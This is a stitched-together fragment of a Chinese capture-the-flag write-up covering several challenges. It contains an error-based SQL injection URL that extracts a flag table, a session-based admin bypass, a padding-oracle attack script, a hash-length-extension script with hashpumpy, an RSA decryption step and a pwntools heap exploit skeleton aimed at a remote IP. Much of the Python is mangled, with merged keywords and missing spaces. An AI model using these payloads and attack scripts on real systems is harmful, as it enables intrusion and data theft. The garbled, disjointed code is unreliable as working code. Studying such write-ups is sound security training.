得到前32位,mid一下得到后面http://cac7cafcbee440438320c8c23ded71a2fb677909ba534c05.game.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select%20mid(f14g,32,100) from f14g limit 0,1),0x7e),1)
In cryptography, a classical cipher is a type of cipher that was used historically but now has fallen, for the most part, into disuse. In contrast to modern cryptographic algorithms, most classical ciphers can be practically computed and solved by hand. However, LyjtL3fvnSRlo2xvKIjrK2ximSHkJ3ZhJ2Hto3x9 they are also usually very simple to break with modern technology. The term includes the simple systems used since Greek and Roman times, the elaborate Renaissance ciphers, World War II cryptography such as the Enigma machine and beyond. A quick brown fox jump over the lazy dog.
其中LyjtL3fvnSRlo2xvKIjrK2ximSHkJ3ZhJ2Hto3x9这串字符串应该还有一层加密,猜测是还有一层古典密码,尝试去跑凯撒 把凯撒的各种情况跑出来后,进行 base64 解码就能得到 flag
然后发 index.php 发 post 请求,private=X6B4CdeBOR,此时会提示 No private! ,因为此时session为空,所以第一次会将private存入到session,再发送相同的请求,就会直接跳转到 http://959b616a1c194d4d83f5b75a7a2f7ec6f63163b4fcbe4482.game.ichunqiu.com/admin.php?authAdmin=2017CtfY0ulike。
b = input("input block number to crack:\n#(1~3)") iv = blocks[b - 1] # 截取待破解的前一个block作为IV,其他block都可以丢弃了 block = blocks[b]
# 测试最后字节的Padding是否有效 is_last_block = False # if b == 3: # is_last_block = True if is_last_block: possible_paddings = test_a_byte(conn, '', 1, padding_chars, iv, block, True) # 测试经过第一轮筛选处理的padding是否有效 for i in possible_paddings: print"possible padding size is:", i msg = chr(i) * i start_byte = i + 1 if test_a_byte(conn, msg, start_byte, printable_chars, iv, block) != None: print"good padding size is:", i break else: msg = '' start_byte = 1
# 对选定的block进行16字节的逐个字节破解 for pos inrange(start_byte, 17): is_found = test_a_byte(conn, msg, pos, printable_chars, iv, block) if is_found: msg = is_found print"%r" % msg else: print"can't found the last #%d byte" % pos exit(0) if is_last_block and msg: print"After cutting padding off, the last block is:\n%r" % msg[:-(start_byte - 1)]
deffindSameE(): whileTrue: conn, token = getConSec() print'start' h = hashpumpy.hashpump(token, 'guest', 'root', 8) conn.send('1\n') conn.recv() conn.send(h[1] + '\n') conn.recv() conn.send(h[0] + '\n') e = conn.recvline() e = int(e[4:]) d = conn.recvline() d = int(d[4:]) print'e',e print'd',d conn.recv() conn.recv() conn.send('2\n') n = conn.recvline() n = int(n[4:]) print'n', n e2 = conn.recvline() e2 = int(e2[4:]) conn.recv() print'finish' if e2 == e: print'----------------```````````````````---------------------' conn.send('3\n') f = conn.recv() print'f' , f conn.close() return f, e, d, n else: print'not equal' print e2 print e conn.close()
defmain(): flag_enc, e, d, n = findSameE() print'flag_enc :>>', flag_enc print'e and d and n', e, d, n
if __name__ == '__main__': main()
拿到数据后进行解密
1 2 3 4 5 6 7 8 9
from Crypto.Util.number import long_to_bytes f = 14683015815664558563801576941259873798326690167651050048605500438701684408496420446210954963532410318389297642966435854745489938317707457853711466218044289065290845837536321014853684020186460366403221101008046326997159780567723107338094785513531848765406240418605856262554526167176997869744050412437697207716369805258141774488366641109964920618527096963297754238554764407150841812474020940377383920892323044658675143281286681485516457951570278828305838636179900402944417184295742821658797425171138893795809447102808748184072282008730049190002045912253021436715877710641309577427718880947231481979509491773821558495630
e = 42557 d = 1405803797689753766121124816811438406635097169509938302560321650694887683763354544832446421618462783636223460691651260024139139681435555981044230096841532923821590682557001444031830233529733318151758359126991717193768181340465430448286701933168519305144478953071981857058771098824813044597941221483519691463328674245665508867881940139408259177240035345986021535415530440683317357792630367912626512879140394887502781711233045371334777186553583913805249735850457844171355581182981430494538414242574735347168419095760484924117877688500538899280429652142746708737501656061740113932258961396160464225966939430889959741717 n = 14713918400954955982493042014029607543327552937244083704392427075411297382665292514617418191051874245746867146250517135476460739651464081624520241080001258396231046403732983387521544330625888052283418713567975039010130962446184781994032753116048370897450465028500819451758514917040720299792076872275983155338383970086972864937471593525080347940764126191055849932929374654181884571725974013062466998817258204252680163981682275618928317547959032958679930767406984643684388270842181251832310744561071776712068724629196823024610536091642933627694285340404564988534606855524020291041210781629240781218089956911861804824793
if local: io=process('./heap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io=remote('106.75.8.58',23238) libc = ELF('./libc') if log: context(log_level='debug') if debug: gdb.attach(io)
#user code ============================= defadd(len1,len2): js('option:') fs('1') js('please input the length of name') fs(str(len1)) js('please input name') fs('a'*len1) js('please input the length of schoolname') fs(str(len2)) js('please input the school name') fs('b'*len2) js('is a tutor?(yes/no)') fs('yes') defedit2(id1,len1,name1): js('option:') fs('3') js('input a id to edit') fs(str(id1)) js('input an option to edit a member.') fs('2') js('please input the length of new schoolname') fs(str(len1)) js('please input new schoolname') fs(name1) defedit1(id1,len1,name1): js('option:') fs('3') js('input a id to edit') fs(str(id1)) js('input an option to edit a member.') fs('1') js('please input the length of') fs(str(len1)) js('please input new') fs(name1) defshow(id1): js('option:') fs('4') js('input a id to intro') fs(id1)